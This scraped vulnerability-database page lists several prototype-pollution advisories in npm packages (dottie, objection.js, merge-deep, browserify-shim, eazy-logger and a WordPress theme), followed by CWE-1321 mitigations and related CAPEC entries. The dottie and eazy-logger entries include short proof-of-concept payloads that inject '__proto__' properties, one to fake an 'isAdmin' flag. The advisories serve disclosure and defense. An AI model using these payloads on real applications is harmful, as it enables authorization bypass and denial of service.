Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dottie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.4"
            },
            {
              "fixed": "2.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T19:54:34Z",
    "nvd_published_at": "2026-02-26T01:16:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\ndottie versions 2.0.4 through 2.0.6 contain an incomplete fix for CVE-2023-26132. The prototype pollution guard introduced in commit `7d3aee1` only validates the first segment of a dot-separated path, allowing an attacker to bypass the protection by placing `__proto__` at any position other than the first.\n\nBoth `dottie.set()` and `dottie.transform()` are affected.\n\n### Details\n\nThe existing guard checks only `pieces[0] === \u0027__proto__\u0027`. When a path like `\u0027a.__proto__.polluted\u0027` is used, `pieces[0]` evaluates to `\u0027a\u0027`, not `\u0027__proto__\u0027`, so the guard is bypassed.\n\nInside the traversal loop, `current[\u0027__proto__\u0027] = {}` triggers the `__proto__` setter, replacing the intermediate object\u0027s prototype. The final value is then written onto this new prototype.\n\n**Important distinction:** This vulnerability does NOT pollute the global `Object.prototype`. It injects properties into a specific object\u0027s prototype chain. However, injected properties are invisible to `hasOwnProperty()` and `Object.keys()`, which makes them difficult to detect and can lead to authorization bypass in common coding patterns.\n\n### PoC\n```javascript\nconst dottie = require(\u0027dottie\u0027);\n\n// set() bypass\nconst obj = {};\ndottie.set(obj, \u0027session.__proto__.isAdmin\u0027, true);\nconsole.log(obj.session.isAdmin);                    // true\nconsole.log(({}).isAdmin);                           // undefined\nconsole.log(obj.session.hasOwnProperty(\u0027isAdmin\u0027));  // false\n\n// transform() bypass\nconst flat = { \u0027user.__proto__.role\u0027: \u0027admin\u0027, \u0027user.name\u0027: \u0027guest\u0027 };\nconst result = dottie.transform(flat);\nconsole.log(result.user.role);                       // \u0027admin\u0027\nconsole.log(({}).role);                              // undefined\n```\n\nTested on Node.js v20 and v22, dottie 2.0.6, Windows 11.\n\n### Impact\n\nThe primary risk is authorization bypass. In a typical server-side scenario where dottie is used to process user input (e.g., via Sequelize, which depends on dottie with ~1.3M weekly npm downloads), an attacker can inject properties like `isAdmin: true` into objects used for access control decisions. Since the injected property is not an own property, standard checks using `hasOwnProperty()` or `Object.keys()` will not reveal it, while property access like `if (session.isAdmin)` will return `true`.\n\nAdditionally, replacing an object\u0027s prototype via `current[\u0027__proto__\u0027] = {}` strips all inherited methods, potentially causing TypeError exceptions and denial of service.",
  "id": "GHSA-r5mx-6wc6-7h9w",
  "modified": "2026-02-26T19:54:34Z",
  "published": "2026-02-26T19:54:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mickhansen/dottie.js/security/advisories/GHSA-r5mx-6wc6-7h9w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27837"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mickhansen/dottie.js/commit/7e8fa1345a4b46325f0eab8d7aeb1c4deaefdb14"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4gxf-g5gf-22h4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mickhansen/dottie.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "dottie is vulnerable to Prototype Pollution bypass via non-first path segments in set() and transform()"
}

GHSA-R659-8XFP-J327

Vulnerability from github – Published: 2021-09-07 23:09 – Updated: 2023-09-07 18:40

Summary

objection.js Prototype Pollution vulnerability

Details

objection.js prior to version 2.2.16 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). This issue is patched in version 2.2.16.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "objection"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-07T19:01:54Z",
    "nvd_published_at": "2021-09-06T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "objection.js prior to version 2.2.16 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027). This issue is patched in version 2.2.16.",
  "id": "GHSA-r659-8xfp-j327",
  "modified": "2023-09-07T18:40:01Z",
  "published": "2021-09-07T23:09:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3766"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Vincit/objection.js/commit/46b842a6bc897198b83f41ac85c92864b991d7e9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vincit/objection.js/commit/b41aab8dcd78f426f7468dcda541a7aca18a66a6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vincit/objection.js"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/c98e0f0e-ebf2-4072-be73-a1848ea031cc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "objection.js Prototype Pollution vulnerability"
}

GHSA-R6RJ-9CH6-G264

Vulnerability from github – Published: 2021-06-07 22:09 – Updated: 2021-06-16 19:58

Summary

Prototype pollution in Merge-deep

Details

The merge-deep library before 3.0.3 for Node.js can be tricked into overwriting properties of Object.prototype or adding new properties to it. These properties are then inherited by every object in the program, thus facilitating prototype-pollution attacks against applications using this library.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "merge-deep"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-26707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-03T21:48:51Z",
    "nvd_published_at": "2021-06-02T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The merge-deep library before 3.0.3 for Node.js can be tricked into overwriting properties of Object.prototype or adding new properties to it. These properties are then inherited by every object in the program, thus facilitating prototype-pollution attacks against applications using this library.",
  "id": "GHSA-r6rj-9ch6-g264",
  "modified": "2021-06-16T19:58:45Z",
  "published": "2021-06-07T22:09:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26707"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/merge-deep/commit/11e5dd56de8a6aed0b1ed022089dbce6968d82a5"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210716-0008"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2020-160-merge-deep"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/merge-deep"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in Merge-deep"
}

GHSA-R737-347M-WQC7

Vulnerability from github – Published: 2022-10-29 12:00 – Updated: 2024-04-22 23:20

Summary

thlorenz browserify-shim vulnerable to prototype pollution

Details

Prototype pollution vulnerability in function resolveShims in resolve-shims.js in thlorenz browserify-shim 3.8.15 via the fullPath variable in resolve-shims.js.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.8.15"
      },
      "package": {
        "ecosystem": "npm",
        "name": "browserify-shim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-37621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-22T23:20:55Z",
    "nvd_published_at": "2022-10-28T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in function resolveShims in resolve-shims.js in thlorenz browserify-shim 3.8.15 via the fullPath variable in resolve-shims.js.",
  "id": "GHSA-r737-347m-wqc7",
  "modified": "2024-04-22T23:20:55Z",
  "published": "2022-10-29T12:00:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37621"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thlorenz/browserify-shim/issues/247"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thlorenz/browserify-shim/pull/246"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thlorenz/browserify-shim/commit/97855e622b6dcd117c77e6583701962ff45e7338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thlorenz/browserify-shim"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thlorenz/browserify-shim/blob/464b32bbe142664cd9796059798f6c738ea3de8f/lib/resolve-shims.js#L158"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thlorenz/browserify-shim/blob/464b32bbe142664cd9796059798f6c738ea3de8f/lib/resolve-shims.js#L37"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "thlorenz browserify-shim vulnerable to prototype pollution"
}

GHSA-R738-3H9R-FPVV

Vulnerability from github – Published: 2023-10-20 18:30 – Updated: 2024-04-04 08:51

Details

The Winters theme for WordPress is vulnerable to Reflected Cross-Site Scripting via prototype pollution in versions up to, and including, 1.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-3962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-20T16:15:19Z",
    "severity": "MODERATE"
  },
  "details": "The Winters theme for WordPress is vulnerable to Reflected Cross-Site Scripting via prototype pollution in versions up to, and including, 1.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.",
  "id": "GHSA-r738-3h9r-fpvv",
  "modified": "2024-04-04T08:51:26Z",
  "published": "2023-10-20T18:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3962"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BlackFan/client-side-prototype-pollution"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6f8b75a1-f0f2-445b-a1c7-1628916470d3?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R7JX-5M6M-CPG9

Vulnerability from github – Published: 2025-02-06 06:31 – Updated: 2025-04-07 12:34

Summary

eazy-logger prototype pollution

Details

A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.

An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., child_process.exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

Proof of Concept

(async () => {
const lib = await import('eazy-logger');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.Logger (JSON.parse('{"__proto__":{"pollutedKey":123}}'))
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "eazy-logger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-57075"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-06T23:31:34Z",
    "nvd_published_at": "2025-02-05T22:15:31Z",
    "severity": "HIGH"
  },
  "details": "A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.\n\nAn attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., `child_process.exec`, `eval`), it could enable an attacker to execute arbitrary commands within the application\u0027s context.\n\n## Proof of Concept\n\n```js\n(async () =\u003e {\nconst lib = await import(\u0027eazy-logger\u0027);\nvar someObj = {}\nconsole.log(\"Before Attack: \", JSON.stringify({}.__proto__));\ntry {\n// for multiple functions, uncomment only one for each execution.\nlib.Logger (JSON.parse(\u0027{\"__proto__\":{\"pollutedKey\":123}}\u0027))\n} catch (e) { }\nconsole.log(\"After Attack: \", JSON.stringify({}.__proto__));\ndelete Object.prototype.pollutedKey;\n})();\n```",
  "id": "GHSA-r7jx-5m6m-cpg9",
  "modified": "2025-04-07T12:34:01Z",
  "published": "2025-02-06T06:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57075"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shakyShane/eazy-logger/commit/a8baa6fe441d19ffa9916eba367016b7937a28fd"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/tariqhawis/c601f7f85146510ca899a7406a03aba5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shakyShane/eazy-logger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "eazy-logger prototype pollution"
}

Mitigation

Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation

Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation

Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation

Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation

Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list

CWE-1321

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Summary

Details

Vulnerable code paths

Why formatPlural is not affected

Reachability

PoC

Impact

Recommended Fix

IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

Summary

Affected

Vulnerability details

Code paths

Iterator call site

Why the clobber works

Proof of concept

(1) Minimal — runnable in a single browser context

(2) End-to-end — Playwright against main HEAD

(3) Variant matrix — six distinct clobber-target properties

Impact

Direct

Indirect / second-order

Why current main is also vulnerable

Suggested fix

Note on callable elements

Summary

Details

PoC

Impact

Proof of Concept

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

CAPEC-77: Manipulating User-Controlled Variables

Why `formatPlural` is not affected

(2) End-to-end — Playwright against `main` HEAD

Why current `main` is also vulnerable